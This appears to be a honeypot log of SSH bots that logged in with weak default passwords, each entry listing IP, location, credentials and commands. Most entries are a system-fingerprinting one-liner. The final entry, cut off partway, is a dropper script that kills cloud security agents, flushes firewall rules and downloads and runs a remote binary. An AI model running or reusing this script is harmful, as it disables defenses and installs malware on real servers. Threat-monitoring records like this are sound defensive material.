"ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 tea_root_17 (159.65.89.61) β€” Slough, United Kingdom Β· 1 session Β· 4 cmds
2026-02-28 17:52 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 roo_root_7 (170.64.184.183) β€” Sydney, Australia Β· 2 sessions Β· 8 cmds
2026-02-28 17:50 EST Β· as root/1234, root/admin123
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 roo_root (170.64.170.196) β€” Sydney, Australia Β· 10 sessions Β· 10 cmds
2026-02-28 17:11 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 10x across 10 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—10
🎭 gouda_root_3 (188.166.78.26) β€” Amsterdam, Netherlands Β· 10 sessions Β· 40 cmds
2026-02-28 15:54 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 spice_root_22 (139.59.88.184) β€” Bengaluru, India Β· 12 sessions Β· 48 cmds
2026-02-28 16:46 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 12x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—12
$ uname -s -v -n -m 2 > /dev/null Γ—12
$ uname -m 2 > /dev/null Γ—12
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—12
🎭 fog_root_16 (142.93.32.235) β€” Slough, United Kingdom Β· 5 sessions Β· 20 cmds
2026-02-28 16:34 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 strudel_root_17 (167.99.250.110) β€” Frankfurt am Main, Germany Β· 3 sessions Β· 12 cmds
2026-02-28 16:30 EST Β· as root/admin, root/qwerty, root/toor
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 eagle_root_28 (137.184.18.178) β€” North Bergen, United States Β· 3 sessions Β· 12 cmds
2026-02-28 15:59 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 poutine_root_7 (165.22.227.30) β€” Toronto, Canada Β· 8 sessions Β· 32 cmds
2026-02-28 15:53 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 chai_root_17 (64.227.163.23) β€” Bengaluru, India Β· 4 sessions Β· 16 cmds
2026-02-28 15:54 EST Β· as root/12345678, root/admin, root/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 beefeater_root_11 (165.227.224.234) β€” Slough, United Kingdom Β· 3 sessions Β· 12 cmds
2026-02-28 15:49 EST Β· as root/12345678, root/admin, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 clog_root_7 (146.190.229.152) β€” Amsterdam, Netherlands Β· 1 session Β· 4 cmds
2026-02-28 15:48 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 stein_root_8 (209.38.228.225) β€” Frankfurt am Main, Germany Β· 18 sessions Β· 72 cmds
2026-02-28 14:17 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 18x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—18
$ uname -s -v -n -m 2 > /dev/null Γ—18
$ uname -m 2 > /dev/null Γ—18
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—18
🎭 outback_root_9 (209.38.80.173) β€” Sydney, Australia Β· 4 sessions Β· 16 cmds
2026-02-28 14:45 EST Β· as admin/123456, admin/admin, root/1234
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 tea_root_2 (46.101.81.91) β€” Slough, United Kingdom Β· 16 sessions Β· 64 cmds
2026-02-28 12:35 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 16x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—16
$ uname -s -v -n -m 2 > /dev/null Γ—16
$ uname -m 2 > /dev/null Γ—16
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—16
🎭 crumpet_root_6 (209.97.185.248) β€” Slough, United Kingdom Β· 11 sessions Β· 44 cmds
2026-02-28 12:36 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 11x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—11
$ uname -s -v -n -m 2 > /dev/null Γ—11
$ uname -m 2 > /dev/null Γ—11
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—11
🎭 outback_root (209.38.24.1) β€” Sydney, Australia Β· 16 sessions Β· 16 cmds
2026-02-28 11:19 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 eagle_root_29 (132.196.83.34) β€” Des Moines, United States Β· 1 session Β· 1 cmd
2026-02-28 08:58 EST Β· as root/12345678
env
$ env | head -10
🎭 shadow_root_48 (89.32.41.130) β€” SΓ’nnicolau Mare, Romania Β· 1 session Β· 3 cmds
2026-02-28 08:04 EST Β· as root/12345678
make executable β†’ skhqwensw β†’ ls
$ #!/bin/sh; ; wdir="/tmp"; for i in "/tmp" "/var/tmp" "/dev/shm" "/usr" "/bin" "/home" "/root"; do; if [ -w "$i" ]; then; wdir="$i"; break; fi; done; cd "$wdir" || exit 1; ; ; systemctl stop YDService >/dev/null 2>&1; systemctl disable YDService >/dev/null 2>&1; systemctl stop tat_agent >/dev/null 2>&1; systemctl disable tat_agent >/dev/null 2>&1; ; ; systemctl mask YDService >/dev/null 2>&1; systemctl mask tat_agent >/dev/null 2>&1; ; ; systemctl daemon-reload; ; ; if command -v chattr >/dev/null 2>&1; then; chattr -R -i -a /usr/local/qcloud/ >/dev/null 2>&1; fi; ; ; pkill -9 YDService >/dev/null 2>&1; pkill -9 YDLive >/dev/null 2>&1; ; ; rm -rf /usr/local/qcloud/YunJing >/dev/null 2>&1; rm -rf /usr/local/qcloud/stargate >/dev/null 2>&1; rm -rf /usr/local/qcloud/monitor >/dev/null 2>&1; rm -rf /usr/local/qcloud/tat_agent >/dev/null 2>&1; ; mkdir -p /usr/local/qcloud/YunJing; mkdir -p /usr/local/qcloud/tat_agent; if command -v chattr >/dev/null 2>&1; then; chattr +i /usr/local/qcloud/YunJing; chattr +i /usr/local/qcloud/tat_agent; fi; ; ; ; disable_firewall() {; systemctl stop firewalld ufw >/dev/null 2>&1; systemctl disable firewalld ufw >/dev/null 2>&1; service firewalld stop >/dev/null 2>&1; service ufw stop >/dev/null 2>&1; ; if command -v iptables >/dev/null 2>&1; then; iptables -P INPUT ACCEPT >/dev/null 2>&1; iptables -P FORWARD ACCEPT >/dev/null 2>&1; iptables -P OUTPUT ACCEPT >/dev/null 2>&1; iptables -F >/dev/null 2>&1; iptables -X >/dev/null 2>&1; iptables -t nat -F >/dev/null 2>&1; iptables -t nat -X >/dev/null 2>&1; fi; }; disable_firewall; ; download_and_run() {; url="$1"; filename="$2"; ; if [ -f "./$filename" ] && [ -x "./$filename" ]; then; setsid "./$filename" >/dev/null 2>&1 &; return 0; fi; ; dl_bin=""; dl_args=""; ; if command -v good >/dev/null 2>&1; then; dl_bin="good"; dl_args="--no-check-certificate -q $url -O $filename"; elif command -v cool >/dev/null 2>&1; then; dl_bin="cool"; dl_args="-skL $url -o $filename"; elif command -v wget >/dev/null 2>&1; then; dl_bin="wget"; dl_args="--no-check-certificate -q $url -O $filename"; elif command -v curl >/dev/null 2>&1; then; dl_bin="curl"; dl_args="-skL $url -o $filename"; fi; ; if [ -z "$dl_bin" 